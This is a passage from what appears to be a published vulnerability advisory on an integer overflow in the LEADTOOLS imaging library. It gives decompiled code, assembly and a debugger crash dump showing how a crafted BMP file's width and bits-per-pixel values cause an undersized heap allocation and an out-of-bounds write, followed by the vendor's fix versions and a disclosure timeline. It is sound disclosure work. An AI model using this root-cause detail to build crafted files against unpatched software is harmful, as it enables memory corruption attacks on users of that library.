    LINE517                                );
        ...
    

The allocation buffer is made LINE515 with a call to `L_LocalAlloc` function:

    LINE518 void L_LocalAlloc(longlong param_1,longlong param_2,undefined8 param_3,
    LINE519                  LPCSTR possible_source_code_location)
    LINE520 
    LINE521 {
            [...]
    LINE527                     /* 0xa8da0  135  L_LocalAlloc */
    LINE528   local_28 = DAT_7ff85a7db010 ^ (ulonglong)auStackY1144;
    LINE529   FUN_7ff85a747b90(&local_448,'\0',0x210);
    LINE530   if ((possible_source_code_location == (LPCSTR)0x0) || (possible_source_code_location[1] != '\0'))
    LINE531   {
    LINE532     FUN_7ff85a747b90(&local_238,'\0',0x210);
    LINE533     if (possible_source_code_location != (LPCSTR)0x0) {
    LINE534       MultiByteToWideChar(0,0,possible_source_code_location,0x108,(LPWSTR)&local_238,0x108);
    LINE535     }
    LINE536   }
    LINE537   else {
    LINE538     FUN_7ff85a74d21c(&local_448,0x108,possible_source_code_location);
    LINE539   }
    LINE540   _malloc_base(param_2 * param_1);
    LINE541   handle_canary(local_28 ^ (ulonglong)auStackY1144);
    LINE542   return;
    LINE543 }
    

We can see into this function `L_LocalAlloc` the call to a wrapper of allocation of memory LINE540, taking the first two parameters of the function and multiplying them to get the total size to allocate. Now below the same code in assembly corresponding to the call to `L_LocalAlloc` LINE515:

    LINE518                              LAB_7ff8556eea10                                XREF[1]:     7ff8556ee9de(j)  
    LINE519      xt:7ff8556eea10 8b 4b 0c      MOV       ECX,dword ptr [RBX + 0xc]
    LINE520                              LAB_7ff8556eea13                                XREF[1]:     7ff8556eea0e(j)  
    LINE521      xt:7ff8556eea13 89 8b         MOV       dword ptr [RBX + 0xe4],ECX
    LINE522      xt:7ff8556eea19 4c 8d         LEA       R9,[u_c:\a2\_w\19eb7f22c663b560\src\fi_7ff  = u"c:\\a2\\_w\\19eb7f22c663b560\\src\\filefor
    LINE523      xt:7ff8556eea20 ff c1         INC       ECX
    LINE524      xt:7ff8556eea22 ba 02         MOV       EDX,0x2
    LINE525      xt:7ff8556eea27 41 0f         IMUL      ECX,R15D
    LINE526      xt:7ff8556eea2b 41 b8         MOV       R8D,0x210
    LINE527      xt:7ff8556eea31 ff 15         CALL      qword ptr [->LTKRNX.DLL::L_LocalAlloc]      = 8000000000000087
    

As this is an x64 calling convention, the first parameters are in `RCX` register, so we are looking to get the code `(uVar2 + 1) * BytesPerLine` into RCX. LINE521 we can see the `ECX` register used, containing in fact `uVar2` earlier in the code, then incremented by one LINE523, and multiplied by `R15` which is `BytesPerLine`.  
The integer overflow happens in LINE525 during the multiplication, as it’s a 32-bits based operation, causing an allocation size smaller than really what it should be.

`BytesPerLine` is totally controlled and computed in an earlier function `L_InitBitmapWithCallbacks` :

    LINE544 void L_InitBitmapWithCallbacks
    LINE545                (pBITMAPHANDLE pBitmapHandle,uint uStructSize,int nWidth,int nHeigth,
    LINE546                int nBitsPerPixel,undefined8 param_6)
    LINE547 
    LINE548 {
    LINE549        /* 0x21950  405  L_InitBitmapWithCallbacks */
    LINE550 ...
    LINE551   pBitmapHandle->Width = nWidth;
    LINE552   iVar2 = 1;
    LINE553   pBitmapHandle->Height = nHeigth;
    LINE554   pBitmapHandle->BitsPerPixel = nBitsPerPixel;
    LINE555   BytesPerLine = nWidth * nBitsPerPixel + 0x1fU >> 3 & 0x1ffffffc;
    LINE556   pBitmapHandle->BytesPerLine = BytesPerLine;
    LINE557 ...
    LINE558 }
    

In LINE555 we can see `BytesPerLine` computed from the `nWidth` variable directly read from the file and `nBitsPerPixel` passed as a argument to the `L_SaveBitmap` call function, leading to the crash. The loop counter, which is controlling the `rep movs byte ptr` LINE509 in the assembly presented earlier, causes the crash and corresponds to the `BytesPerLine` which is also controlled. Thus a specially-crafted BMP file could trigger this integer overflow, which could lead to memory corruption.

**Crash Information**

    0:000> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Exception Analysis                                   *
    *                                                                             *
    *******************************************************************************
    
    *** WARNING: Unable to verify checksum for C:\Program Files\Talos Vrt Team\LeadToolsFuzzing\bin\Fuzzme.exe
    
    KEY_VALUES_STRING: 1
    
        Key  : AV.Fault
        Value: Write
    
        Key  : Analysis.CPU.mSec
        Value: 2890
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 7159
    
        Key  : Analysis.Init.CPU.mSec
        Value: 1171
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 15966
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 79
    
        Key  : Timeline.OS.Boot.DeltaSec
        Value: 12422
    
        Key  : Timeline.Process.Start.DeltaSec
        Value: 21
    
        Key  : WER.OS.Branch
        Value: vb_release
    
        Key  : WER.OS.Timestamp
        Value: 2019-12-06T14:06:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.19041.1
    
    
    NTGLOBALFLAG:  2000000
    
    APPLICATION_VERIFIER_FLAGS:  0
    
    APPLICATION_VERIFIER_LOADED: 1
    
    EXCEPTION_RECORD:  (.exr -1)
    ExceptionAddress: 00007ffd9a869a7e (Ltkrnx!L_LicLibGetMachineInfo+0x000000000001bb1e)
       ExceptionCode: c0000005 (Access violation)
      ExceptionFlags: 00000000
    NumberParameters: 2
       Parameter[0]: 0000000000000001
       Parameter[1]: 0000023de6323000
    Attempt to write to address 0000023de6323000
    
    FAULTING_THREAD:  00001e64
    
    PROCESS_NAME:  Fuzzme.exe
    
    WRITE_ADDRESS:  0000023de6323000 
    
    ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
    
    EXCEPTION_CODE_STR:  c0000005
    
    EXCEPTION_PARAMETER1:  0000000000000001
    
    EXCEPTION_PARAMETER2:  0000023de6323000
    
    STACK_TEXT:  
    00000051`7bf5d938 00007ffd`9a82887f     : 00000000`00000000 00000000`00000000 00008cca`61bd98fb 00007ffd`9a7f128c : Ltkrnx!L_LicLibGetMachineInfo+0x1bb1e
    00000051`7bf5d950 00007ffd`9a828f56     : 00000051`7bf5d9e0 0000023d`cd361ee0 00000000`00000006 00000000`0f32fd00 : Ltkrnx!L_RotateBitmapViewPerspective+0x24f
    00000051`7bf5d980 00007ffd`b3801595     : 0000023d`cd361ee0 0000023e`5409eee0 0000023d`e16c9600 00007ffd`9a7f8bf5 : Ltkrnx!L_GetBitmapRow+0x116
    00000051`7bf5d9c0 00007ffd`99d3ec62     : 0000023e`54090cc0 00000051`7bf5dc90 0000023d`e16c9600 0000023d`00000007 : Ltfilx!L_SaveCustomFile+0x985
    00000051`7bf5da70 00007ffd`b380056a     : 00000000`00001002 00000051`00001002 0000023d`00000000 00000000`00000006 : lfCmpX!fltSaveCMP+0xac2
    00000051`7bf5dbd0 00007ffd`b3800ad7     : 00000000`00000013 00000000`00000000 00000000`00000000 00000000`00000000 : Ltfilx!L_GetRasterPdfInfo+0x132a
    00000051`7bf5e790 00007ffd`b3801a79     : 00007ff7`45305578 00007ffd`c87ab3e4 00007ffd`c887f4e8 00000000`00000000 : Ltfilx!L_GetRasterPdfInfo+0x1897
    00000051`7bf5efe0 00007ffd`b3801ad0     : 00000000`00000000 00000051`7bf5f330 0000023d`c90adfe0 00000051`7bf5f0b8 : Ltfilx!L_SaveCustomFile+0xe69
    00000051`7bf5f060 00007ff7`45301341     : 00007ff7`45305578 0000023d`c90adfe0 0000023d`cd3117c0 00000000`00000001 : Ltfilx!L_SaveBitmap+0x40
    00000051`7bf5f0b0 00007ff7`45301c98     : 0000023d`c80e3000 ffffffff`00000076 0000023d`ccba0fe0 00000051`7bf5f290 : Fuzzme!fuzzme+0xb1
    00000051`7bf5f230 00007ff7`453035d8     : 0000023d`c907dfa0 00000000`00000000 00000000`00000000 0000023d`c8466ea0 : Fuzzme!main+0x588
    00000051`7bf5f990 00007ffd`c9f57034     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : Fuzzme!__scrt_common_main_seh+0x10c
    00000051`7bf5f9d0 00007ffd`cb062651     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : KERNEL32!BaseThreadInitThunk+0x14
    00000051`7bf5fa00 00000000`00000000     : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : ntdll!RtlUserThreadStart+0x21
    
    
    SYMBOL_NAME:  Ltkrnx!L_LicLibGetMachineInfo+1bb1e
    
    MODULE_NAME: Ltkrnx
    
    IMAGE_NAME:  Ltkrnx.dll
    
    STACK_COMMAND:  dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; ~0s ; .cxr ; kb
    
    FAILURE_BUCKET_ID:  INVALID_POINTER_WRITE_STRING_DEREFERENCE_AVRF_c0000005_Ltkrnx.dll!L_LicLibGetMachineInfo
    
    OS_VERSION:  10.0.19041.1
    
    BUILDLAB_STR:  vb_release
    
    OSPLATFORM_TYPE:  x64
    
    OSNAME:  Windows 10
    
    IMAGE_VERSION:  22.0.0.9
    
    FAILURE_ID_HASH:  {6a0d6765-25be-9357-f56d-a64cbc643a17}
    
    Followup:     MachineOwner
    ---------
    

**Vendor Response**

The fix is included in C / C++: LfCmp v21.0.0.12 v22.0.0.6

.NET / Java: Leadtools.Codecs.Cmp v21.0.0.13 v22.0.0.6

https://files.leadtools.com/index.php/s/joFz7BcCZYMot5Q

**Timeline**

2022-02-02 - Initial vendor contact  
2022-03-15 - Public Release  

Discovered by Emmanuel Tacheau of Cisco Talos.

Tag

#windows